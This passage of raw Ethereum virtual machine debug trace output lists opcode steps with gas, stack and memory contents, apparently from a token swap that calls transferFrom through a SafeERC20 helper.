0000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15043,"op":"MLOAD","gas":77478,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15044,"op":"PUSH2","gas":77475,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15047,"op":"DUP2","gas":77472,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15048,"op":"PUSH2","gas":77469,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":15051,"op":"JUMP","gas":77466,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13891,"op":"JUMPDEST","gas":77458,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13892,"op":"PUSH1","gas":77457,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13894,"op":"PUSH1","gas":77454,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13896,"op":"PUSH1","gas":77451,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13898,"op":"SHL","gas":77448,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13899,"op":"SUB","gas":77445,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":13900,"op":"DUP2","gas":77442,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x30d7","0x3a4","0x384","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000